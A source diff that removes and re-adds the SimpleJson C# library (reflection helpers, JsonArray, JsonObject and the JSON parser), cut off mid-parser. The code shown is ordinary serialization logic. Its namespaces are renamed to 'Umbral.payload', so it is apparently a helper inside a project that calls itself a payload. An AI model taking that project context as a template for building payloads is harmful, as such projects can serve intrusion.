type.GetTypeInfo().GenericTypeArguments; -#else - return type.GetGenericArguments(); -#endif - } - - public static bool IsTypeGeneric(Type type) - { - return GetTypeInfo(type).IsGenericType; - } - - public static bool IsTypeGenericeCollectionInterface(Type type) - { - if (!IsTypeGeneric(type)) - return false; - - Type genericDefinition = type.GetGenericTypeDefinition(); - - return genericDefinition == typeof(IList<>) - || genericDefinition == typeof(ICollection<>) - || genericDefinition == typeof(IEnumerable<>); - } - - public static bool IsAssignableFrom(Type type1, Type type2) - { - return GetTypeInfo(type1).IsAssignableFrom(GetTypeInfo(type2)); - } - - public static bool IsTypeDictionary(Type type) - { -#if SIMPLE_JSON_TYPEINFO - if (typeof(IDictionary<,>).GetTypeInfo().IsAssignableFrom(type.GetTypeInfo())) - return true; -#else - if (typeof(IDictionary).IsAssignableFrom(type)) - return true; -#endif - if (!GetTypeInfo(type).IsGenericType) - return false; - - Type genericDefinition = type.GetGenericTypeDefinition(); - return genericDefinition == typeof(IDictionary<,>); - } - - public static bool IsNullableType(Type type) - { - return GetTypeInfo(type).IsGenericType && type.GetGenericTypeDefinition() == typeof(Nullable<>); - } - - public static object ToNullableType(object obj, Type nullableType) - { - return obj == null ? null : Convert.ChangeType(obj, Nullable.GetUnderlyingType(nullableType), CultureInfo.InvariantCulture); - } - - public static bool IsValueType(Type type) - { - return GetTypeInfo(type).IsValueType; - } - - public static IEnumerable GetConstructors(Type type) - { -#if SIMPLE_JSON_TYPEINFO - return type.GetTypeInfo().DeclaredConstructors; -#else - return type.GetConstructors(); -#endif - } - - public static ConstructorInfo GetConstructorInfo(Type type, params Type[] argsType) - { - var constructorInfos = GetConstructors(type); - int i; - bool matches; - foreach (ConstructorInfo constructorInfo in constructorInfos) - { - var parameters = constructorInfo.GetParameters(); - if (argsType.Length != parameters.Length) - continue; - - i = 0; - matches = true; - foreach (ParameterInfo parameterInfo in constructorInfo.GetParameters()) - { - if (parameterInfo.ParameterType != argsType[i]) - { - matches = false; - break; - } - } - - if (matches) - return constructorInfo; - } - - return null; - } - - public static IEnumerable GetProperties(Type type) - { -#if SIMPLE_JSON_TYPEINFO - return type.GetRuntimeProperties(); -#else - return type.GetProperties(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static); -#endif - } - - public static IEnumerable GetFields(Type type) - { -#if SIMPLE_JSON_TYPEINFO - return type.GetRuntimeFields(); -#else - return type.GetFields(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static); -#endif - } - - public static MethodInfo GetGetterMethodInfo(PropertyInfo propertyInfo) - { -#if SIMPLE_JSON_TYPEINFO - return propertyInfo.GetMethod; -#else - return propertyInfo.GetGetMethod(true); -#endif - } - - public static MethodInfo GetSetterMethodInfo(PropertyInfo propertyInfo) - { -#if SIMPLE_JSON_TYPEINFO - return propertyInfo.SetMethod; -#else - return propertyInfo.GetSetMethod(true); -#endif - } - - public static ConstructorDelegate GetContructor(ConstructorInfo constructorInfo) - { -#if SIMPLE_JSON_NO_LINQ_EXPRESSION - return GetConstructorByReflection(constructorInfo); -#else - return GetConstructorByExpression(constructorInfo); -#endif - } - - public static ConstructorDelegate GetContructor(Type type, params Type[] argsType) - { -#if SIMPLE_JSON_NO_LINQ_EXPRESSION - return GetConstructorByReflection(type, argsType); -#else - return GetConstructorByExpression(type, argsType); -#endif - } - - public static ConstructorDelegate GetConstructorByReflection(ConstructorInfo constructorInfo) - { - return delegate(object[] args) { return constructorInfo.Invoke(args); }; - } - - public static ConstructorDelegate GetConstructorByReflection(Type type, params Type[] argsType) - { - ConstructorInfo constructorInfo = GetConstructorInfo(type, argsType); - return constructorInfo == null ? null : GetConstructorByReflection(constructorInfo); - } - -#if !SIMPLE_JSON_NO_LINQ_EXPRESSION - - public static ConstructorDelegate GetConstructorByExpression(ConstructorInfo constructorInfo) - { - var paramsInfo = constructorInfo.GetParameters(); - ParameterExpression param = Expression.Parameter(typeof(object[]), "args"); - var argsExp = new Expression[paramsInfo.Length]; - for (int i = 0; i < paramsInfo.Length; i++) - { - Expression index = Expression.Constant(i); - Type paramType = paramsInfo[i].ParameterType; - Expression paramAccessorExp = Expression.ArrayIndex(param, index); - Expression paramCastExp = Expression.Convert(paramAccessorExp, paramType); - argsExp[i] = paramCastExp; - } - - NewExpression newExp = Expression.New(constructorInfo, argsExp); - var lambda = Expression.Lambda>(newExp, param); - var compiledLambda = lambda.Compile(); - return delegate(object[] args) { return compiledLambda(args); }; - } - - public static ConstructorDelegate GetConstructorByExpression(Type type, params Type[] argsType) - { - ConstructorInfo constructorInfo = GetConstructorInfo(type, argsType); - return constructorInfo == null ? null : GetConstructorByExpression(constructorInfo); - } - -#endif - - public static GetDelegate GetGetMethod(PropertyInfo propertyInfo) - { -#if SIMPLE_JSON_NO_LINQ_EXPRESSION - return GetGetMethodByReflection(propertyInfo); -#else - return GetGetMethodByExpression(propertyInfo); -#endif - } - - public static GetDelegate GetGetMethod(FieldInfo fieldInfo) - { -#if SIMPLE_JSON_NO_LINQ_EXPRESSION - return GetGetMethodByReflection(fieldInfo); -#else - return GetGetMethodByExpression(fieldInfo); -#endif - } - - public static GetDelegate GetGetMethodByReflection(PropertyInfo propertyInfo) - { - MethodInfo methodInfo = GetGetterMethodInfo(propertyInfo); - return delegate(object source) { return methodInfo.Invoke(source, EmptyObjects); }; - } - - public static GetDelegate GetGetMethodByReflection(FieldInfo fieldInfo) - { - return delegate(object source) { return fieldInfo.GetValue(source); }; - } - -#if !SIMPLE_JSON_NO_LINQ_EXPRESSION - - public static GetDelegate GetGetMethodByExpression(PropertyInfo propertyInfo) - { - MethodInfo getMethodInfo = GetGetterMethodInfo(propertyInfo); - ParameterExpression instance = Expression.Parameter(typeof(object), "instance"); - UnaryExpression instanceCast = !IsValueType(propertyInfo.DeclaringType) - ? Expression.TypeAs(instance, propertyInfo.DeclaringType) - : Expression.Convert(instance, propertyInfo.DeclaringType); - var compiled = Expression.Lambda>(Expression.TypeAs(Expression.Call(instanceCast, getMethodInfo), typeof(object)), instance).Compile(); - return delegate(object source) { return compiled(source); }; - } - - public static GetDelegate GetGetMethodByExpression(FieldInfo fieldInfo) - { - ParameterExpression instance = Expression.Parameter(typeof(object), "instance"); - MemberExpression member = Expression.Field(Expression.Convert(instance, fieldInfo.DeclaringType), fieldInfo); - GetDelegate compiled = Expression.Lambda(Expression.Convert(member, typeof(object)), instance).Compile(); - return delegate(object source) { return compiled(source); }; - } - -#endif - - public static SetDelegate GetSetMethod(PropertyInfo propertyInfo) - { -#if SIMPLE_JSON_NO_LINQ_EXPRESSION - return GetSetMethodByReflection(propertyInfo); -#else - return GetSetMethodByExpression(propertyInfo); -#endif - } - - public static SetDelegate GetSetMethod(FieldInfo fieldInfo) - { -#if SIMPLE_JSON_NO_LINQ_EXPRESSION - return GetSetMethodByReflection(fieldInfo); -#else - return GetSetMethodByExpression(fieldInfo); -#endif - } - - public static SetDelegate GetSetMethodByReflection(PropertyInfo propertyInfo) - { - MethodInfo methodInfo = GetSetterMethodInfo(propertyInfo); - return delegate(object source, object value) { methodInfo.Invoke(source, new object[] { value }); }; - } - - public static SetDelegate GetSetMethodByReflection(FieldInfo fieldInfo) - { - return delegate(object source, object value) { fieldInfo.SetValue(source, value); }; - } - -#if !SIMPLE_JSON_NO_LINQ_EXPRESSION - - public static SetDelegate GetSetMethodByExpression(PropertyInfo propertyInfo) - { - MethodInfo setMethodInfo = GetSetterMethodInfo(propertyInfo); - ParameterExpression instance = Expression.Parameter(typeof(object), "instance"); - ParameterExpression value = Expression.Parameter(typeof(object), "value"); - UnaryExpression instanceCast = !IsValueType(propertyInfo.DeclaringType) - ? Expression.TypeAs(instance, propertyInfo.DeclaringType) - : Expression.Convert(instance, propertyInfo.DeclaringType); - UnaryExpression valueCast = !IsValueType(propertyInfo.PropertyType) ? Expression.TypeAs(value, propertyInfo.PropertyType) : Expression.Convert(value, propertyInfo.PropertyType); - var compiled = Expression.Lambda>(Expression.Call(instanceCast, setMethodInfo, valueCast), instance, value).Compile(); - return delegate(object source, object val) { compiled(source, val); }; - } - - public static SetDelegate GetSetMethodByExpression(FieldInfo fieldInfo) - { - ParameterExpression instance = Expression.Parameter(typeof(object), "instance"); - ParameterExpression value = Expression.Parameter(typeof(object), "value"); - var compiled = Expression.Lambda>( - Assign(Expression.Field(Expression.Convert(instance, fieldInfo.DeclaringType), fieldInfo), Expression.Convert(value, fieldInfo.FieldType)), instance, value).Compile(); - return delegate(object source, object val) { compiled(source, val); }; - } - - public static BinaryExpression Assign(Expression left, Expression right) - { -#if SIMPLE_JSON_TYPEINFO - return Expression.Assign(left, right); -#else - MethodInfo assign = typeof(Assigner<>).MakeGenericType(left.Type).GetMethod("Assign"); - BinaryExpression assignExpr = Expression.Add(left, right, assign); - return assignExpr; -#endif - } - - static private class Assigner - { - public static T Assign(ref T left, T right) - { - return left = right; - } - } - -#endif - - public sealed class ThreadSafeDictionary : IDictionary - { - private readonly object _lock = new object(); - private readonly ThreadSafeDictionaryValueFactory _valueFactory; - private Dictionary _dictionary; - - public ThreadSafeDictionary(ThreadSafeDictionaryValueFactory valueFactory) - { - _valueFactory = valueFactory; - } - - public void Add(TKey key, TValue value) - { - throw new NotImplementedException(); - } - - public bool ContainsKey(TKey key) - { - return _dictionary.ContainsKey(key); - } - - public ICollection Keys => _dictionary.Keys; - - public bool Remove(TKey key) - { - throw new NotImplementedException(); - } - - public bool TryGetValue(TKey key, out TValue value) - { - value = this[key]; - return true; - } - - public ICollection Values => _dictionary.Values; - - public TValue this[TKey key] - { - get => Get(key); - set => throw new NotImplementedException(); - } - - public void Add(KeyValuePair item) - { - throw new NotImplementedException(); - } - - public void Clear() - { - throw new NotImplementedException(); - } - - public bool Contains(KeyValuePair item) - { - throw new NotImplementedException(); - } - - public void CopyTo(KeyValuePair[] array, int arrayIndex) - { - throw new NotImplementedException(); - } - - public int Count => _dictionary.Count; - - public bool IsReadOnly => throw new NotImplementedException(); - - public bool Remove(KeyValuePair item) - { - throw new NotImplementedException(); - } - - public IEnumerator> GetEnumerator() - { - return _dictionary.GetEnumerator(); - } - - IEnumerator IEnumerable.GetEnumerator() - { - return _dictionary.GetEnumerator(); - } - - private TValue Get(TKey key) - { - if (_dictionary == null) - return AddValue(key); - TValue value; - if (!_dictionary.TryGetValue(key, out value)) - return AddValue(key); - return value; - } - - private TValue AddValue(TKey key) - { - TValue value = _valueFactory(key); - lock (_lock) - { - if (_dictionary == null) - { - _dictionary = new Dictionary(); - _dictionary[key] = value; - } - else - { - TValue val; - if (_dictionary.TryGetValue(key, out val)) - return val; - var dict = new Dictionary(_dictionary); - dict[key] = value; - _dictionary = dict; - } - } - - return value; - } - } - - } - } -} -// ReSharper restore LoopCanBeConvertedToQuery -// ReSharper restore RedundantExplicitArrayCreation +//----------------------------------------------------------------------- +// +// Copyright (c) 2011, The Outercurve Foundation. +// +// Licensed under the MIT License (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.opensource.org/licenses/mit-license.php +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// Nathan Totten (ntotten.com), Jim Zimmerman (jimzimmerman.com) and Prabir Shrestha (prabir.me) +// https://github.com/facebook-csharp-sdk/simple-json +//----------------------------------------------------------------------- + +// VERSION: 0.38.0 + +// NOTE: uncomment the following line to make SimpleJson class internal. +//#define SIMPLE_JSON_INTERNAL + +// NOTE: uncomment the following line to make JsonArray and JsonObject class internal. +//#define SIMPLE_JSON_OBJARRAYINTERNAL + +// NOTE: uncomment the following line to enable dynamic support. +//#define SIMPLE_JSON_DYNAMIC + +// NOTE: uncomment the following line to enable DataContract support. +//#define SIMPLE_JSON_DATACONTRACT + +// NOTE: uncomment the following line to enable IReadOnlyCollection and IReadOnlyList support. +//#define SIMPLE_JSON_READONLY_COLLECTIONS + +// NOTE: uncomment the following line to disable linq expressions/compiled lambda (better performance) instead of method.invoke(). +// define if you are using .net framework <= 3.0 or < WP7.5 +//#define SIMPLE_JSON_NO_LINQ_EXPRESSION + +// NOTE: uncomment the following line if you are compiling under Window Metro style application/library. +// usually already defined in properties +//#define NETFX_CORE; + +// If you are targetting WinStore, WP8 and NET4.5+ PCL make sure to #define SIMPLE_JSON_TYPEINFO; + +// original json parsing code from http://techblog.procurios.nl/k/618/news/view/14605/14863/How-do-I-write-my-own-parser-for-JSON.html + +#if NETFX_CORE +#define SIMPLE_JSON_TYPEINFO +#endif + +using System; +using System.CodeDom.Compiler; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.Reflection; +using System.Runtime.Serialization; +using System.Text; +using Umbral.payload.Reflection; +#if !SIMPLE_JSON_NO_LINQ_EXPRESSION +using System.Linq.Expressions; +using Umbral.payload.Components.Helpers; +#endif +#if SIMPLE_JSON_DYNAMIC +using System.Dynamic; +#endif + +// ReSharper disable LoopCanBeConvertedToQuery +// ReSharper disable RedundantExplicitArrayCreation +// ReSharper disable SuggestUseVarKeywordEvident +namespace Umbral.payload.Components.Helpers +{ + /// + /// Represents the json array. + /// + [GeneratedCode("simple-json", "1.0.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + [SuppressMessage("Microsoft.Naming", "CA1710:IdentifiersShouldHaveCorrectSuffix")] +#if SIMPLE_JSON_OBJARRAYINTERNAL + internal +#else + public +#endif + class JsonArray : List + { + /// + /// Initializes a new instance of the class. + /// + public JsonArray() + { + } + + /// + /// Initializes a new instance of the class. + /// + /// The capacity of the json array. + public JsonArray(int capacity) : base(capacity) + { + } + + /// + /// The json representation of the array. + /// + /// The json representation of the array. + public override string ToString() + { + return SimpleJson.SerializeObject(this) ?? string.Empty; + } + } + + /// + /// Represents the json object. + /// + [GeneratedCode("simple-json", "1.0.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + [SuppressMessage("Microsoft.Naming", "CA1710:IdentifiersShouldHaveCorrectSuffix")] +#if SIMPLE_JSON_OBJARRAYINTERNAL + internal +#else + public +#endif + class JsonObject : +#if SIMPLE_JSON_DYNAMIC + DynamicObject, +#endif + IDictionary + { + /// + /// The internal member dictionary. + /// + private readonly Dictionary _members; + + /// + /// Initializes a new instance of . + /// + public JsonObject() + { + _members = new Dictionary(); + } + + /// + /// Initializes a new instance of . + /// + /// + /// The implementation to use when + /// comparing keys, or null to use the default for the + /// type of the key. + /// + public JsonObject(IEqualityComparer comparer) + { + _members = new Dictionary(comparer); + } + + /// + /// Gets the at the specified index. + /// + /// + public object this[int index] => GetAtIndex(_members, index); + + internal static object GetAtIndex(IDictionary obj, int index) + { + if (obj == null) + throw new ArgumentNullException("obj"); + if (index >= obj.Count) + throw new ArgumentOutOfRangeException("index"); + int i = 0; + foreach (var o in obj) + if (i++ == index) + return o.Value; + return null; + } + + /// + /// Adds the specified key. + /// + /// The key. + /// The value. + public void Add(string key, object value) + { + _members.Add(key, value); + } + + /// + /// Determines whether the specified key contains key. + /// + /// The key. + /// + /// true if the specified key contains key; otherwise, false. + /// + public bool ContainsKey(string key) + { + return _members.ContainsKey(key); + } + + /// + /// Gets the keys. + /// + /// The keys. + public ICollection Keys => _members.Keys; + + /// + /// Removes the specified key. + /// + /// The key. + /// + public bool Remove(string key) + { + return _members.Remove(key); + } + + /// + /// Tries the get value. + /// + /// The key. + /// The value. + /// + public bool TryGetValue(string key, out object value) + { + return _members.TryGetValue(key, out value); + } + + /// + /// Gets the values. + /// + /// The values. + public ICollection Values => _members.Values; + + /// + /// Gets or sets the with the specified key. + /// + /// + public object this[string key] + { + get => _members[key]; + set => _members[key] = value; + } + + /// + /// Adds the specified item. + /// + /// The item. + public void Add(KeyValuePair item) + { + _members.Add(item.Key, item.Value); + } + + /// + /// Clears this instance. + /// + public void Clear() + { + _members.Clear(); + } + + /// + /// Determines whether [contains] [the specified item]. + /// + /// The item. + /// + /// true if [contains] [the specified item]; otherwise, false. + /// + public bool Contains(KeyValuePair item) + { + return _members.ContainsKey(item.Key) && _members[item.Key] == item.Value; + } + + /// + /// Copies to. + /// + /// The array. + /// Index of the array. + public void CopyTo(KeyValuePair[] array, int arrayIndex) + { + if (array == null) throw new ArgumentNullException("array"); + int num = Count; + foreach (var kvp in this) + { + array[arrayIndex++] = kvp; + if (--num <= 0) + return; + } + } + + /// + /// Gets the count. + /// + /// The count. + public int Count => _members.Count; + + /// + /// Gets a value indicating whether this instance is read only. + /// + /// + /// true if this instance is read only; otherwise, false. + /// + public bool IsReadOnly => false; + + /// + /// Removes the specified item. + /// + /// The item. + /// + public bool Remove(KeyValuePair item) + { + return _members.Remove(item.Key); + } + + /// + /// Gets the enumerator. + /// + /// + public IEnumerator> GetEnumerator() + { + return _members.GetEnumerator(); + } + + /// + /// Returns an enumerator that iterates through a collection. + /// + /// + /// An object that can be used to iterate through the collection. + /// + IEnumerator IEnumerable.GetEnumerator() + { + return _members.GetEnumerator(); + } + + /// + /// Returns a json that represents the current . + /// + /// + /// A json that represents the current . + /// + public override string ToString() + { + return SimpleJson.SerializeObject(this); + } + +#if SIMPLE_JSON_DYNAMIC + /// + /// Provides implementation for type conversion operations. Classes derived from the class can override this method to specify dynamic behavior for operations that convert an object from one type to another. + /// + /// Provides information about the conversion operation. The binder.Type property provides the type to which the object must be converted. For example, for the statement (String)sampleObject in C# (CType(sampleObject, Type) in Visual Basic), where sampleObject is an instance of the class derived from the class, binder.Type returns the type. The binder.Explicit property provides information about the kind of conversion that occurs. It returns true for explicit conversion and false for implicit conversion. + /// The result of the type conversion operation. + /// + /// Alwasy returns true. + /// + public override bool TryConvert(ConvertBinder binder, out object result) + { + // + if (binder == null) + throw new ArgumentNullException("binder"); + // + Type targetType = binder.Type; + + if ((targetType == typeof(IEnumerable)) || + (targetType == typeof(IEnumerable>)) || + (targetType == typeof(IDictionary)) || + (targetType == typeof(IDictionary))) + { + result = this; + return true; + } + + return base.TryConvert(binder, out result); + } + + /// + /// Provides the implementation for operations that delete an object member. This method is not intended for use in C# or Visual Basic. + /// + /// Provides information about the deletion. + /// + /// Alwasy returns true. + /// + public override bool TryDeleteMember(DeleteMemberBinder binder) + { + // + if (binder == null) + throw new ArgumentNullException("binder"); + // + return _members.Remove(binder.Name); + } + + /// + /// Provides the implementation for operations that get a value by index. Classes derived from the class can override this method to specify dynamic behavior for indexing operations. + /// + /// Provides information about the operation. + /// The indexes that are used in the operation. For example, for the sampleObject[3] operation in C# (sampleObject(3) in Visual Basic), where sampleObject is derived from the DynamicObject class, is equal to 3. + /// The result of the index operation. + /// + /// Alwasy returns true. + /// + public override bool TryGetIndex(GetIndexBinder binder, object[] indexes, out object result) + { + if (indexes == null) throw new ArgumentNullException("indexes"); + if (indexes.Length == 1) + { + result = ((IDictionary)this)[(string)indexes[0]]; + return true; + } + result = null; + return true; + } + + /// + /// Provides the implementation for operations that get member values. Classes derived from the class can override this method to specify dynamic behavior for operations such as getting a value for a property. + /// + /// Provides information about the object that called the dynamic operation. The binder.Name property provides the name of the member on which the dynamic operation is performed. For example, for the Console.WriteLine(sampleObject.SampleProperty) statement, where sampleObject is an instance of the class derived from the class, binder.Name returns "SampleProperty". The binder.IgnoreCase property specifies whether the member name is case-sensitive. + /// The result of the get operation. For example, if the method is called for a property, you can assign the property value to . + /// + /// Alwasy returns true. + /// + public override bool TryGetMember(GetMemberBinder binder, out object result) + { + object value; + if (_members.TryGetValue(binder.Name, out value)) + { + result = value; + return true; + } + result = null; + return true; + } + + /// + /// Provides the implementation for operations that set a value by index. Classes derived from the class can override this method to specify dynamic behavior for operations that access objects by a specified index. + /// + /// Provides information about the operation. + /// The indexes that are used in the operation. For example, for the sampleObject[3] = 10 operation in C# (sampleObject(3) = 10 in Visual Basic), where sampleObject is derived from the class, is equal to 3. + /// The value to set to the object that has the specified index. For example, for the sampleObject[3] = 10 operation in C# (sampleObject(3) = 10 in Visual Basic), where sampleObject is derived from the class, is equal to 10. + /// + /// true if the operation is successful; otherwise, false. If this method returns false, the run-time binder of the language determines the behavior. (In most cases, a language-specific run-time exception is thrown. + /// + public override bool TrySetIndex(SetIndexBinder binder, object[] indexes, object value) + { + if (indexes == null) throw new ArgumentNullException("indexes"); + if (indexes.Length == 1) + { + ((IDictionary)this)[(string)indexes[0]] = value; + return true; + } + return base.TrySetIndex(binder, indexes, value); + } + + /// + /// Provides the implementation for operations that set member values. Classes derived from the class can override this method to specify dynamic behavior for operations such as setting a value for a property. + /// + /// Provides information about the object that called the dynamic operation. The binder.Name property provides the name of the member to which the value is being assigned. For example, for the statement sampleObject.SampleProperty = "Test", where sampleObject is an instance of the class derived from the class, binder.Name returns "SampleProperty". The binder.IgnoreCase property specifies whether the member name is case-sensitive. + /// The value to set to the member. For example, for sampleObject.SampleProperty = "Test", where sampleObject is an instance of the class derived from the class, the is "Test". + /// + /// true if the operation is successful; otherwise, false. If this method returns false, the run-time binder of the language determines the behavior. (In most cases, a language-specific run-time exception is thrown.) + /// + public override bool TrySetMember(SetMemberBinder binder, object value) + { + // + if (binder == null) + throw new ArgumentNullException("binder"); + // + _members[binder.Name] = value; + return true; + } + + /// + /// Returns the enumeration of all dynamic member names. + /// + /// + /// A sequence that contains dynamic member names. + /// + public override IEnumerable GetDynamicMemberNames() + { + foreach (var key in Keys) + yield return key; + } +#endif + } +} + +namespace Umbral.payload +{ + /// + /// This class encodes and decodes JSON strings. + /// Spec. details, see http://www.json.org/ + /// JSON uses Arrays and Objects. These correspond here to the datatypes JsonArray(IList<object>) and + /// JsonObject(IDictionary<string,object>). + /// All numbers are parsed to doubles. + /// + [GeneratedCode("simple-json", "1.0.0")] +#if SIMPLE_JSON_INTERNAL + internal +#else + public +#endif + static class SimpleJson + { + private const int TOKEN_NONE = 0; + private const int TOKEN_CURLY_OPEN = 1; + private const int TOKEN_CURLY_CLOSE = 2; + private const int TOKEN_SQUARED_OPEN = 3; + private const int TOKEN_SQUARED_CLOSE = 4; + private const int TOKEN_COLON = 5; + private const int TOKEN_COMMA = 6; + private const int TOKEN_STRING = 7; + private const int TOKEN_NUMBER = 8; + private const int TOKEN_TRUE = 9; + private const int TOKEN_FALSE = 10; + private const int TOKEN_NULL = 11; + private const int BUILDER_CAPACITY = 2000; + + static private readonly char[] EscapeTable; + static private readonly char[] EscapeCharacters = { '"', '\\', '\b', '\f', '\n', '\r', '\t' }; + static private readonly string EscapeCharactersString = new string(EscapeCharacters); + + static SimpleJson() + { + EscapeTable = new char[93]; + EscapeTable['"'] = '"'; + EscapeTable['\\'] = '\\'; + EscapeTable['\b'] = 'b'; + EscapeTable['\f'] = 'f'; + EscapeTable['\n'] = 'n'; + EscapeTable['\r'] = 'r'; + EscapeTable['\t'] = 't'; + } + + /// + /// Parses the string json into a value + /// + /// A JSON string. + /// An IList<object>, a IDictionary<string,object>, a double, a string, null, true, or false + public static object DeserializeObject(string json) + { + object obj; + if (TryDeserializeObject(json, out obj)) + return obj; + throw new SerializationException("Invalid JSON string"); + } + + /// + /// Try parsing the json string into a value. + /// + /// + /// A JSON string. + /// + /// + /// The object. + /// + /// + /// Returns true if successfull otherwise false. + /// + [SuppressMessage("Microsoft.Design", "CA1007:UseGenericsWhereAppropriate", Justification = "Need to support .NET 2")] + public static bool TryDeserializeObject(string json, out object obj) + { + bool success = true; + if (json != null) + { + char[] charArray = json.ToCharArray(); + int index = 0; + obj = ParseValue(charArray, ref index, ref success); + } + else + obj = null; + + return success; + } + + public static object DeserializeObject(string json, Type type, IJsonSerializerStrategy jsonSerializerStrategy) + { + object jsonObject = DeserializeObject(json); + return type == null || jsonObject != null && ReflectionUtils.IsAssignableFrom(jsonObject.GetType(), type) + ? jsonObject + : (jsonSerializerStrategy ?? CurrentJsonSerializerStrategy).DeserializeObject(jsonObject, type); + } + + public static object DeserializeObject(string json, Type type) + { + return DeserializeObject(json, type, null); + } + + public static T DeserializeObject(string json, IJsonSerializerStrategy jsonSerializerStrategy) + { + return (T)DeserializeObject(json, typeof(T), jsonSerializerStrategy); + } + + public static T DeserializeObject(string json) + { + return (T)DeserializeObject(json, typeof(T), null); + } + + /// + /// Converts a IDictionary<string,object> / IList<object> object into a JSON string + /// + /// A IDictionary<string,object> / IList<object> + /// Serializer strategy to use + /// A JSON encoded string, or null if object 'json' is not serializable + public static string SerializeObject(object json, IJsonSerializerStrategy jsonSerializerStrategy) + { + StringBuilder builder = new StringBuilder(BUILDER_CAPACITY); + bool success = SerializeValue(jsonSerializerStrategy, json, builder); + return success ? builder.ToString() : null; + } + + public static string SerializeObject(object json) + { + return SerializeObject(json, CurrentJsonSerializerStrategy); + } + + public static string EscapeToJavascriptString(string jsonString) + { + if (string.IsNullOrEmpty(jsonString)) + return jsonString; + + StringBuilder sb = new StringBuilder(); + char c; + + for (int i = 0; i < jsonString.Length;) + { + c = jsonString[i++]; + + if (c == '\\') + { + int remainingLength = jsonString.Length - i; + if (remainingLength >= 2) + { + char lookahead = jsonString[i]; + if (lookahead == '\\') + { + sb.Append('\\'); + ++i; + } + else if (lookahead == '"') + { + sb.Append("\""); + ++i; + } + else if (lookahead == 't') + { + sb.Append('\t'); + ++i; + } + else if (lookahead == 'b') + { + sb.Append('\b'); + ++i; + } + else if (lookahead == 'n') + { + sb.Append('\n'); + ++i; + } + else if (lookahead == 'r') + { + sb.Append('\r'); + ++i; + } + } + } + else + { + sb.Append(c); + } + } + + return sb.ToString(); + } + + static private IDictionary ParseObject(char[] json, ref int index, ref bool success) + { + IDictionary table = new JsonObject(); + int token; + + // { + NextToken(json, ref index); + + bool done = false; + while (!done) + { + token = LookAhead(json, index); + if (token == TOKEN_NONE) + { + success = false; + return null; + } + + if (token == TOKEN_COMMA) + NextToken(json, ref index); + else if (token == TOKEN_CURLY_CLOSE) + { + NextToken(json, ref index); + return table; + } + else + { + // name + string name = ParseString(json, ref index, ref success); + if (!success) + { + success = false; + return null; + } + + // : + token = NextToken(json, ref index); + if (token != TOKEN_COLON) + { + success = false; + return null; + } + + // value + object value = ParseValue(json, ref index, ref success); + if (!success) + { + success = false; + return null; + } + + table[name] = value; + } + } + + return table; + } + + static private JsonArray ParseArray(char[] json, ref int index, ref bool success) + { + JsonArray array = new JsonArray(); + + // [ + NextToken(json, ref index); + + bool done = false; + while (!done) + { + int token = LookAhead(json, index); + if (token == TOKEN_NONE) + { + success = false; + return null; + } + + if (token == TOKEN_COMMA) + NextToken(json, ref index); + else if (token == TOKEN_SQUARED_CLOSE) + { + NextToken(json, ref index); + break; + } + else + { + object value = ParseValue(json, ref index, ref success); + if (!success) + return null; + array.Add(value); + } + } + + return array; + } + + static private object ParseValue(char[] json, ref int index, ref bool success) + { + switch (LookAhead(json, index)) + { + case TOKEN_STRING: + return ParseString(json, ref index, ref success); + case TOKEN_NUMBER: + return ParseNumber(json, ref index, ref success); + case TOKEN_CURLY_OPEN: + return ParseObject(json, ref index, ref success); + case TOKEN_SQUARED_OPEN: + return ParseArray(json, ref index, ref success); + case TOKEN_TRUE: + NextToken(json, ref index); + return true; + case TOKEN_FALSE: + NextToken(json, ref index); + return false; + case TOKEN_NULL: + NextToken(json, ref index); + return null; + case TOKEN_NONE: + break; + } + + success = false; + return null; + } + + static private string ParseString(char[] json, ref int index, ref bool success) + { + StringBuilder s = new StringBuilder(BUILDER_CAPACITY); + char c; + + EatWhitespace(json, ref index); + + // " + c = json[index++]; + bool complete = false; + while (!complete) + { + if (index == json.Length) + break; + + c = json[index++]; + if (c == '"') + { + complete = true; + break; + } + + if (c == '\\') + { + if (index == json.Length) + break; + c = json[index++]; + if (c == '"') + s.Append('"'); + else if (c == '\\') + s.Append('\\'); + else if (c == '/') + s.Append('/'); + else if (c == 'b') + s.Append('\b'); + else if (c == 'f') + s.Append('\f'); + else if (c == 'n') + s.Append('\n'); + else if (c == 'r') + s.Append('\r'); + else if (c == 't') + s.Append('\t'); + else if (c == 'u') + { + int remainingLength = json.Length - index; + if (remainingLength >= 4) + { + // parse the 32 bit hex into an integer codepoint + uint codePoint; + if (!(success = uint.TryParse(new string(json, index, 4), NumberStyles.HexNumber, CultureInfo.InvariantCulture, out codePoint))) + return ""; + + // convert the integer codepoint to a unicode char and add to string + if (0xD800 <= codePoint && codePoint <= 0xDBFF) // if high surrogate + { + index += 4; // skip 4 chars + remainingLength = json.Length - index; + if (remainingLength >= 6) + { + uint lowCodePoint; + if (new string(json, index, 2) == "\\u" && uint.TryParse(new string(json, index + 2, 4), NumberStyles.HexNumber, CultureInfo.InvariantCulture, out lowCodePoint)) + { + if (0xDC00 <= lowCodePoint && lowCodePoint <= 0xDFFF) // if low surrogate + { + s.Append((char)codePoint); + s.Append((char)lowCodePoint); + index += 6; // skip 6 chars + continue; + } + } + } + + success = false; // invalid surrogate pair + return ""; + } + + s.Append(ConvertFromUtf32((int)codePoint)); + // skip 4 chars + index += 4; + } + else + break; + } + } + else + s.Append(c); + } + + if (!complete) + { + success = false; + return null; + } + + return s.ToString(); + } + + static private string ConvertFromUtf32(int utf32) + { + // http://www.java2s.com/Open-Source/CSharp/2.6.4-mono-.net-core/System/System/Char.cs.htm + if (utf32 < 0 || utf32 > 0x10FFFF) + throw new ArgumentOutOfRangeException("utf32", "The argument must be from 0 to 0x10FFFF."); + if (0xD800 <= utf32 && utf32 <= 0xDFFF) + throw new ArgumentOutOfRangeException("utf32", "The argument must not be in surrogate pair range."); + if (utf32 < 0x10000) + return new string((char)utf32, 1); + utf32 -= 0x10000; + return new string(new char[] { (char)((utf32 >> 10) + 0xD800), (char)(utf32 % 0x0400 + 0xDC00) }); + } + + static private object ParseNumber(char[] json, ref int index, 